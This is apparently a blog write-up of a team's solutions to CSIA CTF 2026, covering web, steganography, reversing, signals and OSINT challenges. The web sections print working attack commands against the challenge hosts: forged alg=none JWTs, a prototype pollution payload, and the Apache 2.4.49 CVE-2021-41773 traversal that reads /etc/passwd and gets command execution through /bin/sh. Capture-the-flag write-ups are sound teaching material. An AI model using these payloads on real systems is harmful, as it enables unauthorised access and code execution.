CSIA CTF 2026 — first place writeups (GHOSTSHELL)
First-place CSIA CTF 2026 writeups for team GHOSTSHELL, covering web exploitation, prototype pollution, JWT issues, Apache RCE, steganography, OSINT, reverse engineering and signal decoding.
Overview
CSIA CTF 2026 was solved with team GHOSTSHELL, where we placed first. The public repository contains the detailed per-challenge notes; this post keeps the main technical path for each solved category in one readable place.
Repository source: https://github.com/ALLAKORI/csia-ctf-2026-writeups
Challenge index
| Category | Challenge | Core idea |
|---|---|---|
| Web | no_internet | Page source inspection |
| Web | JWT Rookie | JWT alg=none authentication bypass |
| Web | JWT Confusion | JWT alg=none, then AES-CBC decryption |
| Web | NodeJS Academy | Prototype pollution to bypass admin checks |
| Web | L'Enigme du Code Apogee | Apache 2.4.49 traversal and RCE |
| Forensics / OSINT | Case File: Linked Traces | Wayback pivot and avatar extraction |
| Reverse | Crackme Sequence | Numeric sequence delta decoding |
| Steganography | L3WILIL | LSB extraction with zsteg |
| Misc | QuadraSignals | Binary signal reconstruction from JSON |
| OSINT | World of Sports | The Expanse lore correlation |
| OSINT | The Hidden Archive | Split flag recovery from ZIP output and JSON |
Web: no_internet
This was a basic web challenge about checking what the browser receives before trying heavier tooling. The page source contained the flag directly.
1
2
Right click -> View Page Source
Ctrl + F -> CSIA
The same check can be automated:
1
curl -s "https://challenge-url-here/" | grep -oE 'CSIA\{[^}]+\}'
The lesson was simple but important: client-side secrets are not secrets.
Web: JWT Rookie
The login page contained a suspicious comment:
1
<!-- TODO: fix auth bypass before go-live -->
The challenge statement hinted at JWT misconfiguration. A forged unsigned token with alg=none and an admin role was accepted when placed in the session cookie and sent to /dashboard.
1
2
3
4
5
6
7
8
import base64
def b64(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
header = b64(b'{"alg":"none","typ":"JWT"}')
payload = b64(b'{"username":"admin","role":"admin"}')
print(f"{header}.{payload}.")
Fuzzing cookie names and paths found the working pair:
1
2
3
4
5
6
7
8
TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.'
for c in token jwt session auth; do
for p in / /admin /dashboard /profile /flag; do
curl -s "https://csia-ctf26-jwt-rookie.chals.io$p" \
-H "Cookie: $c=$TOKEN" | grep -Eo 'CSIA\{[^}]+\}|flag[^<]*|admin[^<]*'
done
done
Flag:
1
CSIA{jwt_n0n3_alg_byp4ss}
Web: JWT Confusion
The application exposed test credentials in an HTML comment:
1
<!-- dev-note: compte de test non supprime -> etudiant:csia2026 -->
After login, the normal session used RS256, but the server accepted a forged alg=none token with an admin role. The admin page disclosed an encrypted Base64 blob.
The maintenance key came from robots.txt:
1
pr0j3ct-m4int3n4nce
The blob was decrypted with AES-CBC, using MD5(pr0j3ct-m4int3n4nce) as the key and a static IV:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import md5
import base64
ciphertext = base64.b64decode(
"yJ5BCW8nBTmJu0JluXOf1rJxZJ5V85uEFtFO8IpvP0uRiCna3KdJumcrEgQEgPpp"
)
key = md5(b"pr0j3ct-m4int3n4nce").digest()
iv = b"1234567890abcdef"
print(unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext), 16).decode())
Flag:
1
CSIA{jwt_c0nfus10n_CHDIIIIID_NTA_i}
Web: NodeJS Academy prototype pollution
The application exposed a JSON profile update endpoint:
1
2
POST /api/profile
Content-Type: application/json
The vulnerable pattern was an unsafe merge of user-controlled JSON into a server-side object. Sending __proto__ polluted the prototype chain with admin: true.
1
2
3
4
curl -i -b cookies.txt \
-H "Content-Type: application/json" \
-d '{"__proto__":{"admin":true}}' \
https://csia-ctf26-prototype-pollution.chals.io/api/profile
After pollution, a naive check such as if (user.admin) became true through inheritance.
Flag:
1
CSIA{pr0t0typ3_p0llut10n_m4st3r}
Defensive points:
| Weakness | Fix |
|---|---|
| Unsafe object merge | Use hardened merge logic |
| Dangerous keys accepted | Block __proto__, constructor, prototype |
| Inherited property used for auth | Check own properties only |
| Generic objects for untrusted input | Use Object.create(null) |
Web: L’Enigme du Code Apogee
The target exposed Apache 2.4.49, which pointed to CVE-2021-41773. Directory fuzzing found admin, backup and cgi-bin.
Traversal test:
1
2
curl -s --path-as-is \
"https://csia-ctf26-ensa-web-challenge.chals.io/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
RCE through /bin/sh:
1
2
3
curl -s --path-as-is -X POST \
"https://csia-ctf26-ensa-web-challenge.chals.io/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
-d "echo;id"
The response confirmed execution as www-data. Web root enumeration found:
1
/var/www/html/backup/config.bak
The backup leaked credentials and a token hash. Source searching revealed a hidden export token:
1
/var/www/html/admin/export/grades.php:$secret_token = 'jury2026';
Flag:
1
CSIA{G00d_LuCk_4t_3NSA_BM_2026}
Steganography: L3WILIL
The challenge image had clean metadata and no useful strings. The hint contained a suspicious 1, suggesting a first bit-plane check.
1
zsteg -a challenge.png
Useful output:
1
b1,rgb,lsb,xy .. text: "44:Q1NJQXtsQjRCNF9DaDRGZXFfSzR5U2xlbV80bGlLMG19"
Extract and decode:
1
2
zsteg challenge.png -E b1,rgb,lsb,xy
echo 'Q1NJQXtsQjRCNF9DaDRGZXFfSzR5U2xlbV80bGlLMG19' | base64 -d
Flag:
1
CSIA{lB4B4_Ch4Feq_K4ySlem_4liK0m}
Misc: QuadraSignals
The archive contained a JSON file with signal measurements and a schematic. Values were only 0 and 5, so I treated them as logic levels.
| Value | Bit |
|---|---|
0 | 0 |
5 | 1 |
Signal_A was the clean bitstream. The solver mapped voltage levels to bits and grouped them into bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import json
data = json.load(open("complex_secret_message.json"))
bits = ""
for row in data:
bits += "1" if row["Signal_A"] == 5 else "0"
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i + 8]
if len(byte) == 8:
flag += chr(int(byte, 2))
print(flag)
Flag:
1
CSIA{vINzWPvSNqSDHQdJBx7c3lPZvoAH7JofJJTM}
Reverse: Crackme Sequence
The file was raw data: no useful strings, no recognized header. Hex inspection showed a regular 16-bit little-endian sequence:
1
2
3
4
5
0x032c
0x032d
0x032e
0x032f
...
The expected sequence increased by +1, but some values were shifted. The shift between actual and expected values encoded printable ASCII:
1
2
3
4
5
6
7
8
9
10
11
12
import struct
data = open("crackme", "rb").read()
vals = list(struct.unpack("<" + "H" * (len(data) // 2), data))
base = vals[0]
for i, v in enumerate(vals):
expected = (base + i) % 0x400
diff = (v - expected) % 0x400
c = diff % 256
if 32 <= c <= 126:
print(chr(c), end="")
Flag:
1
CSIA{h1dd3n_1n_7h3_s3qu3nc3}
OSINT: World of Sports
The clues were:
1
2
3
Beratna
Good place for Dusters
mi pensa
Beratna and mi pensa point to Belter Creole from The Expanse. In that universe, people from Mars are called Dusters. The final place had to be a famous Martian location.
Flag:
1
CSIA{Valles_Marineris}
OSINT: The Hidden Archive
The challenge said the secret was split in two parts. ZIP extraction output leaked the second half:
1
Here is the rest of what you are looking for: d4t4_l34ks_99}
Searching tweets.json revealed the first part:
1
"Part 1 is CSIA{Tr4ck1ng_ ..."
Combined flag:
1
CSIA{Tr4ck1ng_d4t4_l34ks_99}
Forensics / OSINT: Case File Linked Traces
The image provided the original handle:
1
justinccase2511
It also said that current profiles were decoys and old cached data should be used. A Wayback Machine pivot against the old Twitter URL exposed a stable internal identifier:
1
"identifier": "1579193231652405248"
That ID mapped the old handle to the current X account:
1
@t0mmyx1a0mi
A timeline screenshot exposed a Tumblr clue. Requesting the high-resolution avatar revealed tiny text at the bottom:
1
https://api.tumblr.com/v2/blog/t0mmyx1a0mi/avatar/512
Submitted CSIA-format flag:
1
CSIA{3v3ryth1ng_has_c0nnecti0n}
Lessons learned
This CTF rewarded methodical triage: inspect client-side data first, treat JWT headers as attacker-controlled, test prototype pollution carefully, and read challenge files as evidence. Across the categories, the useful pattern was to move from broad recon to the smallest verifiable hypothesis, then document the exact command or artifact that confirmed it.